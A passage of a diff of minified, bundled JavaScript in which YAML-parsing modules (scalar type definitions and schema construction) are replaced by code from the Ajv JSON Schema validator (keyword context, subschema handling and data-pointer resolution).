|| 4, t10 = t10 || 75, i9 = "", r8 = this.position; r8 > 0 && -1 === "\0\r\n\x85\u2028\u2029".indexOf(this.buffer.charAt(r8 - 1)); ) - if (r8 -= 1, this.position - r8 > t10 / 2 - 1) { - i9 = " ... ", r8 += 5; - break; + _error(e12, t10) { + (e12 ? m7.reportExtraError : m7.reportError)(this, this.def.error, t10); + } + $dataError() { + (0, m7.reportError)(this, this.def.$dataError || m7.keyword$DataError); + } + reset() { + if (void 0 === this.errsCount) + throw new Error('add "trackErrors" to keyword definition'); + (0, m7.resetErrorsCount)(this.gen, this.errsCount); + } + ok(e12) { + this.allErrors || this.gen.if(e12); + } + setParams(e12, t10) { + t10 ? Object.assign(this.params, e12) : this.params = e12; + } + block$data(e12, t10, i9 = d7.nil) { + this.gen.block(() => { + this.check$data(e12, i9), t10(); + }); + } + check$data(e12 = d7.nil, t10 = d7.nil) { + if (!this.$data) + return; + const { gen: i9, schemaCode: n9, schemaType: r9, def: o8 } = this; + i9.if((0, d7.or)(d7._`${n9} === undefined`, t10)), e12 !== d7.nil && i9.assign(e12, true), (r9.length || o8.validateSchema) && (i9.elseIf(this.invalid$data()), this.$dataError(), e12 !== d7.nil && i9.assign(e12, false)), i9.else(); + } + invalid$data() { + const { gen: e12, schemaCode: t10, schemaType: i9, def: n9, it: r9 } = this; + return (0, d7.or)(function() { + if (i9.length) { + if (!(t10 instanceof d7.Name)) + throw new Error("ajv implementation error"); + const e13 = Array.isArray(i9) ? i9 : [i9]; + return d7._`${(0, s7.checkDataTypes)(e13, t10, r9.opts.strictNumbers, s7.DataType.Wrong)}`; } - for (o7 = "", s7 = this.position; s7 < this.buffer.length && -1 === "\0\r\n\x85\u2028\u2029".indexOf(this.buffer.charAt(s7)); ) - if ((s7 += 1) - this.position > t10 / 2 - 1) { - o7 = " ... ", s7 -= 5; - break; + return d7.nil; + }(), function() { + if (n9.validateSchema) { + const i10 = e12.scopeValue("validate$data", { ref: n9.validateSchema }); + return d7._`!${i10}(${t10})`; } - return a7 = this.buffer.slice(r8, s7), n8.repeat(" ", e12) + i9 + a7 + o7 + "\n" + n8.repeat(" ", e12 + this.position - r8 + i9.length) + "^"; + return d7.nil; + }()); } - toString(e12 = true) { - var t10, i9 = ""; - return this.name && (i9 += 'in "' + this.name + '" '), i9 += "at line " + (this.line + 1) + ", column " + (this.column + 1), e12 || (t10 = this.getSnippet()) && (i9 += ":\n" + t10), i9; + subschema(e12, t10) { + const i9 = (0, c7.getSubschema)(this.it, e12); + (0, c7.extendSubschemaData)(i9, this.it, e12), (0, c7.extendSubschemaMode)(i9, e12); + const r9 = { ...this.it, ...i9, items: void 0, props: void 0 }; + return function(e13, t11) { + b8(e13) && (v8(e13), g7(e13)) ? function(e14, t12) { + const { schema: i10, gen: n9, opts: r10 } = e14; + r10.$comment && i10.$comment && $5(e14), function(e15) { + const t13 = e15.schema[e15.opts.schemaId]; + t13 && (e15.baseId = (0, l7.resolveUrl)(e15.opts.uriResolver, e15.baseId, t13)); + }(e14), function(e15) { + if (e15.schema.$async && !e15.schemaEnv.$async) + throw new Error("async schema in sync schema"); + }(e14); + const o8 = n9.const("_errs", f8.default.errors); + j6(e14, o8), n9.var(t12, d7._`${o8} === ${f8.default.errors}`); + }(e13, t11) : (0, n8.boolOrEmptySchema)(e13, t11); + }(r9, t10), r9; } - }; - }, 58198: (e11, t9) => { - "use strict"; - function i8(e12) { - const t10 = function(e13) { - return 0 === e13.lastIndexOf("0o", 0) ? parseInt(e13.substring(2), 8) : parseInt(e13); - }(e12); - if (Number.isNaN(t10)) - throw `Invalid integer "${e12}"`; - return t10; - } - var n8; - Object.defineProperty(t9, "__esModule", { value: true }), t9.parseYamlBoolean = function(e12) { - if (["true", "True", "TRUE"].lastIndexOf(e12) >= 0) - return true; - if (["false", "False", "FALSE"].lastIndexOf(e12) >= 0) - return false; - throw `Invalid boolean "${e12}"`; - }, t9.parseYamlInteger = i8, t9.parseYamlBigInteger = function(e12) { - const t10 = i8(e12); - return t10 > Number.MAX_SAFE_INTEGER && -1 === e12.lastIndexOf("0o", 0) ? BigInt(e12) : t10; - }, t9.parseYamlFloat = function(e12) { - if ([".nan", ".NaN", ".NAN"].lastIndexOf(e12) >= 0) - return NaN; - const t10 = /^([-+])?(?:\.inf|\.Inf|\.INF)$/.exec(e12); - if (t10) - return "-" === t10[1] ? -1 / 0 : 1 / 0; - const i9 = parseFloat(e12); - if (!isNaN(i9)) - return i9; - throw `Invalid float "${e12}"`; - }, function(e12) { - e12[e12.null = 0] = "null", e12[e12.bool = 1] = "bool", e12[e12.int = 2] = "int", e12[e12.float = 3] = "float", e12[e12.string = 4] = "string"; - }(n8 = t9.ScalarType || (t9.ScalarType = {})), t9.determineScalarType = function(e12) { - if (void 0 === e12) - return n8.null; - if (e12.doubleQuoted || !e12.plainScalar || e12.singleQuoted) - return n8.string; - const t10 = e12.value; - return ["null", "Null", "NULL", "~", ""].indexOf(t10) >= 0 || null == t10 ? n8.null : ["true", "True", "TRUE", "false", "False", "FALSE"].indexOf(t10) >= 0 ? n8.bool : /^[-+]?[0-9]+$/.test(t10) || /^0o[0-7]+$/.test(t10) || /^0x[0-9a-fA-F]+$/.test(t10) ? n8.int : /^[-+]?(\.[0-9]+|[0-9]+(\.[0-9]*)?)([eE][-+]?[0-9]+)?$/.test(t10) || /^[-+]?(\.inf|\.Inf|\.INF)$/.test(t10) || [".nan", ".NaN", ".NAN"].indexOf(t10) >= 0 ? n8.float : n8.string; - }; - }, 63114: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(29228), r8 = i8(94716), o7 = i8(23697); - function s7(e12, t10, i9) { - var n9 = []; - return e12.include.forEach(function(e13) { - i9 = s7(e13, t10, i9); - }), e12[t10].forEach(function(e13) { - i9.forEach(function(t11, i10) { - t11.tag === e13.tag && n9.push(i10); - }), i9.push(e13); - }), i9.filter(function(e13, t11) { - return -1 === n9.indexOf(t11); - }); - } - class a7 { - constructor(e12) { - this.include = e12.include || [], this.implicit = e12.implicit || [], this.explicit = e12.explicit || [], this.implicit.forEach(function(e13) { - if (e13.loadKind && "scalar" !== e13.loadKind) - throw new r8("There is a non-scalar type in the implicit list of a schema. Implicit resolving of such types is not supported."); - }), this.compiledImplicit = s7(this, "implicit", []), this.compiledExplicit = s7(this, "explicit", []), this.compiledTypeMap = function() { - var e13, t10, i9 = {}; - function n9(e14) { - i9[e14.tag] = e14; - } - for (e13 = 0, t10 = arguments.length; e13 < t10; e13 += 1) - arguments[e13].forEach(n9); - return i9; - }(this.compiledImplicit, this.compiledExplicit); + mergeEvaluated(e12, t10) { + const { it: i9, gen: n9 } = this; + i9.opts.unevaluated && (true !== i9.props && void 0 !== e12.props && (i9.props = u7.mergeEvaluated.props(n9, e12.props, i9.props, t10)), true !== i9.items && void 0 !== e12.items && (i9.items = u7.mergeEvaluated.items(n9, e12.items, i9.items, t10))); + } + mergeValidEvaluated(e12, t10) { + const { it: i9, gen: n9 } = this; + if (i9.opts.unevaluated && (true !== i9.props || true !== i9.items)) + return n9.if(t10, () => this.mergeEvaluated(e12, d7.Name)), true; } } - t9.Schema = a7, a7.DEFAULT = null, a7.create = function() { - var e12, t10; - switch (arguments.length) { - case 1: - e12 = a7.DEFAULT, t10 = arguments[0]; - break; - case 2: - e12 = arguments[0], t10 = arguments[1]; - break; - default: - throw new r8("Wrong number of arguments for Schema.create function"); + function O7(e12, t10, i9, n9) { + const r9 = new P6(e12, i9, t10); + "code" in i9 ? i9.code(r9, n9) : r9.$data && i9.validate ? (0, p7.funcKeywordCode)(r9, i9) : "macro" in i9 ? (0, p7.macroKeywordCode)(r9, i9) : (i9.compile || i9.validate) && (0, p7.funcKeywordCode)(r9, i9); + } + t9.KeywordCxt = P6; + const T6 = /^\/(?:[^~]|~0|~1)*$/, A6 = /^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/; + function I6(e12, { dataLevel: t10, dataNames: i9, dataPathArr: n9 }) { + let r9, o8; + if ("" === e12) + return f8.default.rootData; + if ("/" === e12[0]) { + if (!T6.test(e12)) + throw new Error(`Invalid JSON-pointer: ${e12}`); + r9 = e12, o8 = f8.default.rootData; + } else { + const s9 = A6.exec(e12); + if (!s9) + throw new Error(`Invalid JSON-pointer: ${e12}`); + const a9 = +s9[1]; + if (r9 = s9[2], "#" === r9) { + if (a9 >= t10) + throw new Error(p8("property/index", a9)); + return n9[t10 - a9]; + } + if (a9 > t10) + throw new Error(p8("data", a9)); + if (o8 = i9[t10 - a9], !r9) + return o8; } - if (e12 = n8.toArray(e12), t10 = n8.toArray(t10), !e12.every(function(e13) { - return e13 instanceof a7; - })) - throw new r8("Specified list of super schemas (or a single Schema object) contains a non-Schema object."); - if (!t10.every(function(e13) { - return e13 instanceof o7.Type; - })) - throw new r8("Specified list of YAML types (or a single Type object) contains a non-Type object."); - return new a7({ include: e12, explicit: t10 }); - }; - }, 17646: (e11, t9, i8) => { - "use strict"; - const n8 = i8(63114); - e11.exports = new n8.Schema({ include: [i8(24875)] }); - }, 80406: (e11, t9, i8) => { - "use strict"; - const n8 = i8(63114); - var r8 = new n8.Schema({ include: [i8(23102)], explicit: [i8(64520), i8(20903)] }); - n8.Schema.DEFAULT = r8, e11.exports = r8; - }, 23102: (e11, t9, i8) => { - "use strict"; - var n8 = new (i8(63114)).Schema({ include: [i8(17646)], implicit: [i8(25138), i8(67514)], explicit: [i8(27529), i8(6805), i8(95967), i8(33530)] }); - e11.exports = n8; - }, 84452: (e11, t9, i8) => { - "use strict"; - const n8 = i8(63114); - e11.exports = new n8.Schema({ explicit: [i8(41381), i8(62021), i8(35744)] }); - }, 24875: (e11, t9, i8) => { - "use strict"; - const n8 = i8(63114); - e11.exports = new n8.Schema({ include: [i8(84452)], implicit: [i8(99049), i8(86628), i8(84627), i8(77620)] }); - }, 23697: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(94716); - var r8 = ["kind", "resolve", "construct", "instanceOf", "predicate", "represent", "defaultStyle", "styleAliases"], o7 = ["scalar", "sequence", "mapping"]; - t9.Type = class { - constructor(e12, t10) { - var i9, s7; - if (t10 = t10 || {}, Object.keys(t10).forEach(function(t11) { - if (-1 === r8.indexOf(t11)) - throw new n8('Unknown option "' + t11 + '" is met in definition of "' + e12 + '" YAML type.'); - }), this.tag = e12, this.kind = t10.kind || null, this.resolve = t10.resolve || function() { - return true; - }, this.construct = t10.construct || function(e13) { - return e13; - }, this.instanceOf = t10.instanceOf || null, this.predicate = t10.predicate || null, this.represent = t10.represent || null, this.defaultStyle = t10.defaultStyle || null, this.styleAliases = (i9 = t10.styleAliases || null, s7 = {}, null !== i9 && Object.keys(i9).forEach(function(e13) { - i9[e13].forEach(function(t11) { - s7[String(t11)] = e13; - }); - }), s7), -1 === o7.indexOf(this.kind)) - throw new n8('Unknown kind "' + this.kind + '" is specified for "' + e12 + '" YAML type.'); + let s8 = o8; + const a8 = r9.split("/"); + for (const e13 of a8) + e13 && (o8 = d7._`${o8}${(0, d7.getProperty)((0, u7.unescapeJsonPointer)(e13))}`, s8 = d7._`${s8} && ${o8}`); + return s8; + function p8(e13, i10) { + return `Cannot access ${e13} ${i10} levels up, current level is ${t10}`; } - }; - }, 27529: (e11, t9, i8) => { - "use strict"; - var n8 = i8(1048).hp; - const r8 = i8(23697); - var o7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\n\r"; - e11.exports = new r8.Type("tag:yaml.org,2002:binary", { kind: "scalar", resolve: function(e12) { - if (null === e12) - return false; - var t10, i9, n9 = 0, r9 = e12.length, s7 = o7; - for (i9 = 0; i9 < r9; i9++) - if (!((t10 = s7.indexOf(e12.charAt(i9))) > 64)) { - if (t10 < 0) - return false; - n9 += 6; - } - return n9 % 8 == 0; - }, construct: function(e12) { - var t10, i9, r9 = e12.replace(/[\r\n=]/g, ""), s7 = r9.length, a7 = o7, p7 = 0, c7 = []; - for (t10 = 0; t10 < s7; t10++) - t10 % 4 == 0 && t10 && (c7.push(p7 >> 16 & 255), c7.push(p7 >> 8 & 255), c7.push(255 & p7)), p7 = p7 << 6 | a7.indexOf(r9.charAt(t10)); - return 0 == (i9 = s7 % 4 * 6) ? (c7.push(p7 >> 16 & 255), c7.push(p7 >> 8 & 255), c7.push(255 & p7)) : 18 === i9 ? (c7.push(p7 >> 10 & 255), c7.push(p7 >> 2 & 255)) : 12 === i9 && c7.push(p7 >> 4 & 255), n8 ? new n8(c7) : c7; - }, predicate: function(e12) { - return n8 && n8.isBuffer(e12); - }, represent: function(e12) { - var t10, i9, n9 = "", r9 = 0, s7 = e12.length, a7 = o7; - for (t10 = 0; t10 < s7; t10++) - t10 % 3 == 0 && t10 && (n9 += a7[r9 >> 18 & 63], n9 += a7[r9 >> 12 & 63], n9 += a7[r9 >> 6 & 63], n9 += a7[63 & r9]), r9 = (r9 << 8) + e12[t10]; - return 0 == (i9 = s7 % 3) ? (n9 += a7[r9 >> 18 & 63], n9 += a7[r9 >> 12 & 63], n9 += a7[r9 >> 6 & 63], n9 += a7[63 & r9]) : 2 === i9 ? (n9 += a7[r9 >> 10 & 63], n9 += a7[r9 >> 4 & 63], n9 += a7[r9 << 2 & 63], n9 += a7[64]) : 1 === i9 && (n9 += a7[r9 >> 2 & 63], n9 += a7[r9 << 4 & 63], n9 += a7[64], n9 += a7[64]), n9; - } }); - }, 86628: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:bool", { kind: "scalar", resolve: function(e12) { - if (null === e12) - return false; - var t10 = e12.length; - return 4 === t10 && ("true" === e12 || "True" === e12 || "TRUE" === e12) || 5 === t10 && ("false" === e12 || "False" === e12 || "FALSE" === e12); - }, construct: function(e12) { - return "true" === e12 || "True" === e12 || "TRUE" === e12; - }, predicate: function(e12) { - return "[object Boolean]" === Object.prototype.toString.call(e12); - }, represent: { lowercase: function(e12) { - return e12 ? "true" : "false"; - }, uppercase: function(e12) { - return e12 ? "TRUE" : "FALSE"; - }, camelcase: function(e12) { - return e12 ? "True" : "False"; - } }, defaultStyle: "lowercase" }); - }, 77620: (e11, t9, i8) => { - "use strict"; - const n8 = i8(29228), r8 = i8(23697); - var o7 = new RegExp("^(?:[-+]?(?:[0-9][0-9_]*)(?:\\.[0-9_]*)?(?:[eE][-+]?[0-9]+)?|\\.[0-9_]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$"); - e11.exports = new r8.Type("tag:yaml.org,2002:float", { kind: "scalar", resolve: function(e12) { - return null !== e12 && !!o7.test(e12); - }, construct: function(e12) { - var t10, i9, n9, r9; - return i9 = "-" === (t10 = e12.replace(/_/g, "").toLowerCase())[0] ? -1 : 1, r9 = [], 0 <= "+-".indexOf(t10[0]) && (t10 = t10.slice(1)), ".inf" === t10 ? 1 === i9 ? Number.POSITIVE_INFINITY : Number.NEGATIVE_INFINITY : ".nan" === t10 ? NaN : 0 <= t10.indexOf(":") ? (t10.split(":").forEach(function(e13) { - r9.unshift(parseFloat(e13, 10)); - }), t10 = 0, n9 = 1, r9.forEach(function(e13) { - t10 += e13 * n9, n9 *= 60; - }), i9 * t10) : i9 * parseFloat(t10, 10); - }, predicate: function(e12) { - return "[object Number]" === Object.prototype.toString.call(e12) && (0 != e12 % 1 || n8.isNegativeZero(e12)); - }, represent: function(e12, t10) { - if (isNaN(e12)) - switch (t10) { - case "lowercase": - return ".nan"; - case "uppercase": - return ".NAN"; - case "camelcase": - return ".NaN"; - } - else if (Number.POSITIVE_INFINITY === e12) - switch (t10) { - case "lowercase": - return ".inf"; - case "uppercase": - return ".INF"; - case "camelcase": - return ".Inf"; - } - else if (Number.NEGATIVE_INFINITY === e12) - switch (t10) { - case "lowercase": - return "-.inf"; - case "uppercase": - return "-.INF"; - case "camelcase": - return "-.Inf"; - } - else if (n8.isNegativeZero(e12)) - return "-0.0"; - return e12.toString(10); - }, defaultStyle: "lowercase" }); - }, 84627: (e11, t9, i8) => { + } + t9.getData = I6; + }, 49348: (e11, t9, i8) => { "use strict"; - const n8 = i8(29228), r8 = i8(23697); - function o7(e12) { - return 48 <= e12 && e12 <= 55; + Object.defineProperty(t9, "__esModule", { value: true }), t9.validateKeywordUsage = t9.validSchemaType = t9.funcKeywordCode = t9.macroKeywordCode = void 0; + const n8 = i8(17898), r8 = i8(63036), o7 = i8(94450), s7 = i8(49409); + function a7(e12) { + const { gen: t10, data: i9, it: r9 } = e12; + t10.if(r9.parentData, () => t10.assign(i9, n8._`${r9.parentData}[${r9.parentDataProperty}]`)); } - function s7(e12) { - return 48 <= e12 && e12 <= 57; + function p7(e12, t10, i9) { + if (void 0 === i9) + throw new Error(`keyword "${t10}" failed to compile`); + return e12.scopeValue("keyword", "function" == typeof i9 ? { ref: i9 } : { ref: i9, code: (0, n8.stringify)(i9) }); } - e11.exports = new r8.Type("tag:yaml.org,2002:int", { kind: "scalar", resolve: function(e12) { - if (null === e12) - return false; - var t10, i9, n9 = e12.length, r9 = 0, a7 = false; - if (!n9) - return false; - if ("-" !== (t10 = e12[r9]) && "+" !== t10 || (t10 = e12[++r9]), "0" === t10) { - if (r9 + 1 === n9) - return true; - if ("b" === (t10 = e12[++r9])) { - for (r9++; r9 < n9; r9++) - if ("_" !== (t10 = e12[r9])) { - if ("0" !== t10 && "1" !== t10) - return false; - a7 = true; - } - return a7; - } - if ("x" === t10) { - for (r9++; r9 < n9; r9++) - if ("_" !== (t10 = e12[r9])) { - if (!(48 <= (i9 = e12.charCodeAt(r9)) && i9 <= 57 || 65 <= i9 && i9 <= 70 || 97 <= i9 && i9 <= 102)) - return false; - a7 = true; - } - return a7; - } - for (; r9 < n9; r9++) - if ("_" !== (t10 = e12[r9])) { - if (!o7(e12.charCodeAt(r9))) { - a7 = false; - break; - } - a7 = true; - } - if (a7) - return a7; + t9.macroKeywordCode = function(e12, t10) { + const { gen: i9, keyword: r9, schema: o8, parentSchema: s8, it: a8 } = e12, c7 = t10.macro.call(a8.self, o8, s8, a8), d7 = p7(i9, r9, c7); + false !== a8.opts.validateSchema && a8.self.validateSchema(c7, true); + const f8 = i9.name("valid"); + e12.subschema({ schema: c7, schemaPath: n8.nil, errSchemaPath: `${a8.errSchemaPath}/${r9}`, topSchemaRef: d7, compositeRule: true }, f8), e12.pass(f8, () => e12.error(true)); + }, t9.funcKeywordCode = function(e12, t10) { + var i9; + const { gen: c7, keyword: d7, schema: f8, parentSchema: l7, $data: u7, it: m7 } = e12; + !function({ schemaEnv: e13 }, t11) { + if (t11.async && !e13.$async) + throw new Error("async keyword in sync schema"); + }(m7, t10); + const h8 = !u7 && t10.compile ? t10.compile.call(m7.self, f8, l7, m7) : t10.validate, y7 = p7(c7, d7, h8), g7 = c7.let("valid"); + function b8(i10 = t10.async ? n8._`await ` : n8.nil) { + const s8 = m7.opts.passContext ? r8.default.this : r8.default.self, a8 = !("compile" in t10 && !u7 || false === t10.schema); + c7.assign(g7, n8._`${i10}${(0, o7.callValidateCode)(e12, y7, s8, a8)}`, t10.modifying); } - for (; r9 < n9; r9++) - if ("_" !== (t10 = e12[r9])) { - if (":" === t10) - break; - if (!s7(e12.charCodeAt(r9))) - return false; - a7 = true; + function v8(e13) { + var i10; + c7.if((0, n8.not)(null !== (i10 = t10.valid) && void 0 !== i10 ? i10 : g7), e13); + } + e12.block$data(g7, function() { + if (false === t10.errors) + b8(), t10.modifying && a7(e12), v8(() => e12.error()); + else { + const i10 = t10.async ? function() { + const e13 = c7.let("ruleErrs", null); + return c7.try(() => b8(n8._`await `), (t11) => c7.assign(g7, false).if(n8._`${t11} instanceof ${m7.ValidationError}`, () => c7.assign(e13, n8._`${t11}.errors`), () => c7.throw(t11))), e13; + }() : function() { + const e13 = n8._`${y7}.errors`; + return c7.assign(e13, null), b8(n8.nil), e13; + }(); + t10.modifying && a7(e12), v8(() => function(e13, t11) { + const { gen: i11 } = e13; + i11.if(n8._`Array.isArray(${t11})`, () => { + i11.assign(r8.default.vErrors, n8._`${r8.default.vErrors} === null ? ${t11} : ${r8.default.vErrors}.concat(${t11})`).assign(r8.default.errors, n8._`${r8.default.vErrors}.length`), (0, s7.extendErrors)(e13); + }, () => e13.error()); + }(e12, i10)); } - return !!a7 && (":" !== t10 || /^(:[0-5]?[0-9])+$/.test(e12.slice(r9))); - }, construct: function(e12) { - var t10, i9, n9 = e12, r9 = 1, o8 = []; - return -1 !== n9.indexOf("_") && (n9 = n9.replace(/_/g, "")), "-" !== (t10 = n9[0]) && "+" !== t10 || ("-" === t10 && (r9 = -1), t10 = (n9 = n9.slice(1))[0]), "0" === n9 ? 0 : "0" === t10 ? "b" === n9[1] ? r9 * parseInt(n9.slice(2), 2) : "x" === n9[1] ? r9 * parseInt(n9, 16) : r9 * parseInt(n9, 8) : -1 !== n9.indexOf(":") ? (n9.split(":").forEach(function(e13) { - o8.unshift(parseInt(e13, 10)); - }), n9 = 0, i9 = 1, o8.forEach(function(e13) { - n9 += e13 * i9, i9 *= 60; - }), r9 * n9) : r9 * parseInt(n9, 10); - }, predicate: function(e12) { - const t10 = Object.prototype.toString.call(e12); - return "[object Number]" === t10 && 0 == e12 % 1 && !n8.isNegativeZero(e12) || "[object BigInt]" === t10; - }, represent: { binary: function(e12) { - return "0b" + e12.toString(2); - }, octal: function(e12) { - return "0" + e12.toString(8); - }, decimal: function(e12) { - return e12.toString(10); - }, hexadecimal: function(e12) { - return "0x" + e12.toString(16).toUpperCase(); - } }, defaultStyle: "decimal", styleAliases: { binary: [2, "bin"], octal: [8, "oct"], decimal: [10, "dec"], hexadecimal: [16, "hex"] } }); - }, 20903: (e11, t9, i8) => { + }), e12.ok(null !== (i9 = t10.valid) && void 0 !== i9 ? i9 : g7); + }, t9.validSchemaType = function(e12, t10, i9 = false) { + return !t10.length || t10.some((t11) => "array" === t11 ? Array.isArray(e12) : "object" === t11 ? e12 && "object" == typeof e12 && !Array.isArray(e12) : typeof e12 == t11 || i9 && void 0 === e12); + }, t9.validateKeywordUsage = function({ schema: e12, opts: t10, self: i9, errSchemaPath: n9 }, r9, o8) { + if (Array.isArray(r9.keyword) ? !r9.keyword.includes(o8) : r9.keyword !== o8) + throw new Error("ajv implementation error"); + const s8 = r9.dependencies; + if (null == s8 ? void 0 : s8.some((t11) => !Object.prototype.hasOwnProperty.call(e12, t11))) + throw new Error(`parent schema must have dependencies of ${o8}: ${s8.join(",")}`); + if (r9.validateSchema && !r9.validateSchema(e12[o8])) { + const e13 = `keyword "${o8}" value is invalid at path "${n9}": ` + i9.errorsText(r9.validateSchema.errors); + if ("log" !== t10.validateSchema) + throw new Error(e13); + i9.logger.error(e13); + } + }; + }, 53322: (e11, t9, i8) => { "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:js/regexp", { kind: "scalar", resolve: function(e12) { - if (null === e12) - return false; - if (0 === e12.length) - return false; - var t10 = e12, i9 = /\/([gim]*)$/.exec(e12), n9 = ""; - if ("/" === t10[0]) { - if (i9 && (n9 = i9[1]), n9.length > 3) - return false; - if ("/" !== t10[t10.length - n9.length - 1]) - return false; - t10 = t10.slice(1, t10.length - n9.length - 1); + Object.defineProperty(t9, "__esModule", { value: true }), t9.extendSubschemaMode = t9.extendSubschemaData = t9.getSubschema = void 0; + const n8 = i8(17898), r8 = i8(50458); + t9.getSubschema = function(e12, { keyword: t10, schemaProp: i9, schema: o7, schemaPath: s7, errSchemaPath: a7, topSchemaRef: p7 }) { + if (void 0 !== t10 && void 0 !== o7) + throw new Error('both "keyword" and "schema" passed, only one allowed'); + if (void 0 !== t10) { + const o8 = e12.schema[t10]; + return void 0 === i9 ? { schema: o8, schemaPath: n8._`${e12.schemaPath}${(0, n8.getProperty)(t10)}`, errSchemaPath: `${e12.errSchemaPath}/${t10}` } : { schema: o8[i9], schemaPath: n8._`${e12.schemaPath}${(0, n8.getProperty)(t10)}${(0, n8.getProperty)(i9)}`, errSchemaPath: `${e12.errSchemaPath}/${t10}/${(0, r8.escapeFragment)(i9)}` }; } - try { - return new RegExp(t10, n9), true; - } catch (e13) { - return false; + if (void 0 !== o7) { + if (void 0 === s7 || void 0 === a7 || void 0 === p7) + throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"'); + return { schema: o7, schemaPath: s7, topSchemaRef: p7, errSchemaPath: a7 }; } - }, construct: function(e12) { - var t10 = e12, i9 = /\/([gim]*)$/.exec(e12), n9 = ""; - return "/" === t10[0] && (i9 && (n9 = i9[1]), t10 = t10.slice(1, t10.length - n9.length - 1)), new RegExp(t10, n9); - }, predicate: function(e12) { - return "[object RegExp]" === Object.prototype.toString.call(e12); - }, represent: function(e12) { - var t10 = "/" + e12.source + "/"; - return e12.global && (t10 += "g"), e12.multiline && (t10 += "m"), e12.ignoreCase && (t10 += "i"), t10; - } }); - }, 64520: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:js/undefined", { kind: "scalar", resolve: function() { - return true; - }, construct: function() { - }, predicate: function(e12) { - return void 0 === e12; - }, represent: function() { - return ""; - } }); - }, 35744: (e11, t9, i8) => { + throw new Error('either "keyword" or "schema" must be passed'); + }, t9.extendSubschemaData = function(e12, t10, { dataProp: i9, dataPropType: o7, data: s7, dataTypes: a7, propertyName: p7 }) { + if (void 0 !== s7 && void 0 !== i9) + throw new Error('both "data" and "dataProp" passed, only one allowed'); + const { gen: c7 } = t10; + if (void 0 !== i9) { + const { errorPath: s8, dataPathArr: a8, opts: p8 } = t10; + d7(c7.let("data", n8._`${t10.data}${(0, n8.getProperty)(i9)}`, true)), e12.errorPath = n8.str`${s8}${(0, r8.getErrorPath)(i9, o7, p8.jsPropertySyntax)}`, e12.parentDataProperty = n8._`${i9}`, e12.dataPathArr = [...a8, e12.parentDataProperty]; + } + function d7(i10) { + e12.data = i10, e12.dataLevel = t10.dataLevel + 1, e12.dataTypes = [], t10.definedProperties = /* @__PURE__ */ new Set(), e12.parentData = t10.data, e12.dataNames = [...t10.dataNames, i10]; + } + void 0 !== s7 && (d7(s7 instanceof n8.Name ? s7 : c7.let("data", s7, true)), void 0 !== p7 && (e12.propertyName = p7)), a7 && (e12.dataTypes = a7); + }, t9.extendSubschemaMode = function(e12, { jtdDiscriminator: t10, jtdMetadata: i9, compositeRule: n9, createErrors: r9, allErrors: o7 }) { + void 0 !== n9 && (e12.compositeRule = n9), void 0 !== r9 && (e12.createErrors = r9), void 0 !== o7 && (e12.allErrors = o7), e12.jtdDiscriminator = t10, e12.jtdMetadata = i9; + }; + }, 65319: (e11, t9, i8) => { "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:map", { kind: "mapping", construct: function(e12) { - return null !== e12 ? e12 : {}; + Object.defineProperty(t9, "__esModule", { value: true }), t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = void 0; + var n8 = i8(96223); + Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { + return n8.KeywordCxt; } }); - }, 67514: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:merge", { kind: "scalar", resolve: function(e12) { - return "<<" === e12 || null === e12; + var r8 = i8(17898); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return r8._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return r8.str; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return r8.stringify; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return r8.nil; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return r8.Name; + } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { + return r8.CodeGen; } }); - }, 99049: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - e11.exports = new n8.Type("tag:yaml.org,2002:null", { kind: "scalar", resolve: function(e12) { - if (null === e12) - return true; - var t10 = e12.length; - return 1 === t10 && "~" === e12 || 4 === t10 && ("null" === e12 || "Null" === e12 || "NULL" === e12); - }, construct: function() { - return null; - }, predicate: function(e12) { - return null === e12; - }, represent: { canonical: function() { - return "~"; - }, lowercase: function() { - return "null"; - }, uppercase: function() { - return "NULL"; - }, camelcase: function() { - return "Null"; - } }, defaultStyle: "lowercase" }); - }, 6805: (e11, t9, i8) => { - "use strict"; - const n8 = i8(23697); - var r8 = Object.prototype.hasOwnProperty, o7 = Object.prototype.toString; - e11.exports = new n8.Type("tag:yaml.org,2002:omap", { kind: "sequence", resolve: function(e12) { - if (null === e12) - return true; - var t10, i9, n9, s7, a7, p7 = [], c7 = e12; - for (t10 = 0, i9 = c7.length; t10 < i9; t10 += 1) { - if (n9 = c7[t10], a7 = false, "[object Object]" !== o7.call(n9)) - return false; - for (s7 in n9) - if (r8.call(n9, s7)) { - if (a7) - return false; - a7 = true; - } - if (!a7) - return false; - if (-1 !== p7.indexOf(s7)) - return false; - p7.push(s7); + const o7 = i8(95031), s7 = i8(85748), a7 = i8(90383), p7 = i8(49392), c7 = i8(17898), d7 = i8(14856), f8 = i8(69003), l7 = i8(50458), u7 = i8(93770), m7 = i8(7903), h8 = (e12, t10) => new RegExp(e12, t10); + h8.code = "new RegExp"; + const y7 = ["removeAdditional", "useDefaults", "coerceTypes"], g7 = /* @__PURE__ */ new Set(["validate", "serialize", "parse", "wrapper", "root", "schema", "keyword", "pattern", "formats", "validate$data", "func", "obj", "Error"]), b8 = { errorDataPath: "", format: "`validateFormats: false` can be used instead.", nullable: 